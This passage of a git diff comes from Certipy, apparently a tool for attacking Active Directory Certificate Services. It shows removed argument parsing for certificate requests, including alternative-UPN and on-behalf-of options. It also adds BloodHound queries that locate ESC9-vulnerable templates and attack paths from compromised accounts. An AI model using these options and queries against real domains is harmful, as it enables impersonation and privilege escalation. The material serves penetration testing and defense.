**vars(options)) - - if options.retrieve: - request.retrieve() - else: - request.request() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Request certificates") - - subparser.add_argument( - "-ca", action="store", metavar="certificate authority name", required=True - ) - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("certificate request options") - group.add_argument( - "-template", action="store", metavar="template name", default="User" - ) - group.add_argument("-alt", action="store", metavar="alternative UPN") - group.add_argument( - "-retrieve", - action="store", - metavar="request ID", - help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate", - default=0, - type=int, - ) - group.add_argument( - "-on-behalf-of", - action="store", - metavar="domain\\account", - help="Use a Certificate Request Agent certificate to request on behalf of another user", - ) - group.add_argument( - "-pfx", - action="store", - metavar="pfx/p12 file name", - help="Path to Certificate Request Agent certificate", - ) - - group = subparser.add_argument_group("output options") - group.add_argument("-out", action="store", metavar="output file name") - - group = subparser.add_argument_group("connection options") - group.add_argument( - "-dynamic-endpoint", - action="store_true", - help="Prefer dynamic TCP endpoint over named pipe", - ) - - target.add_argument_group(subparser, connection_options=group) - - return NAME, entry diff --git a/certipy/version.py b/certipy/version.py old mode 100644 new mode 100755 diff --git a/customqueries.json b/customqueries.json index a380b93..5a1907b 100644 --- a/customqueries.json +++ b/customqueries.json @@ -181,6 +181,36 @@ "query": "MATCH (n:GPO) WHERE n.type = 'Enrollment Service' and n.`Web Enrollment` = 'Enabled' RETURN n" } ] + }, + { + "name": "Find Unsecured Certificate Templates (ESC9)", + "category": "Domain Escalation", + "queryList": [ + { + "final": true, + "query": "MATCH (n:GPO) WHERE n.type = 'Certificate Template' and n.`Enrollee Supplies Subject` = true and n.`Client Authentication` = true and n.`Enabled` = true RETURN n" + } + ] + }, + { + "name": "Find Unsecured Certificate Templates (ESC9)", + "category": "PKI", + "queryList": [ + { + "final": true, + "query": "MATCH (n:GPO) WHERE n.type = 'Certificate Template' and 'NoSecurityExtension' in n.`Enrollment Flag` and n.`Enabled` = true RETURN n" + } + ] + }, + { + "name": "Shortest Paths to Unsecured Certificate Templates from Owned Principals (ESC9)", + "category": "PKI", + "queryList": [ + { + "final": true, + "query": "MATCH p=allShortestPaths((g {owned:true})-[r*1..]->(n:GPO)) WHERE n.type = 'Certificate Template' and g<>n and 'NoSecurityExtension' in n.`Enrollment Flag` and n.`Enabled` = true and NONE(rel in r WHERE type(rel) in ['EnabledBy','Read','ManageCa','ManageCertificates']) return p" + } + ] } ] } \ No newline at end of file diff --git a/setup.py b/setup.py index f23ca8a..b4d7751 100644 --- a/setup.py +++ b/setup.py @@ -1,23 +1,36 @@ from setuptools import setup +with open("README.md") as f: + readme = f.read() + setup( name="Certipy", - version="3.0.0", + version="4.0.0", license="MIT", author="ly4k", url="https://github.com/ly4k/Certipy", - long_description="README.md", + long_description=readme, install_requires=[ "asn1crypto", - "cryptography>=3.5", + "cryptography>=37.0", "impacket", "ldap3", "pyasn1", "dnspython", "dsinternals", "pyopenssl>=22.0.0", + "requests", + "requests_ntlm", + 'winacl; platform_system=="Windows"', + 'wmi; platform_system=="Windows"', + ], + packages=[ + "certipy", + "certipy.commands", + "certipy.commands.parsers", + "certipy.lib", + "certipy.lib.sspi", ], - packages=["certipy"], entry_points={ "console_scripts": ["certipy=certipy.entry:main"], },